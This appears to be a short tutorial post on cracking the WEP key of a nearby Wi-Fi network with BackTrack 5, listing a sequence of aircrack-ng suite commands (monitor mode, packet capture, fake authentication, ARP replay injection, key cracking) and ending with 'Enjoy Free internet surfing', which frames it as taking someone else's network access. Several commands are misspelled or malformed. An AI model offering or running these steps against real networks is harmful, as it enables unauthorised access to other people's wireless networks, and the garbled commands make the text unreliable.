CRACKING WEP

 How to crack wi-fi password using backtrack 5.

Requirements:

• A Backtrack Live CD Download it from  http://www.backtrack-linux.org/downloads/
• A nearby WEP-enabled Wi-Fi network   
• Patience with the command line. 
•  

Now type following command.

WEP
airmon-ng
airmon-ng start wlan0
airodump-ng mon0

//New terminal
airodump-ng-w wep -c <channel no.> --bssid <past MAC here> mon0

//new terminal
aireplay-ng -1 0 -a <past MAC here> mon0

//association successful will appare

//new terminal

aireplay-ng -3 -b <past MAC here> mon0

//Read data appears ,after data reach 10000

//New terminal
airecrack-ng wep -0 1.cap

//Decryption successful.

Enjoy Free internet surfing.
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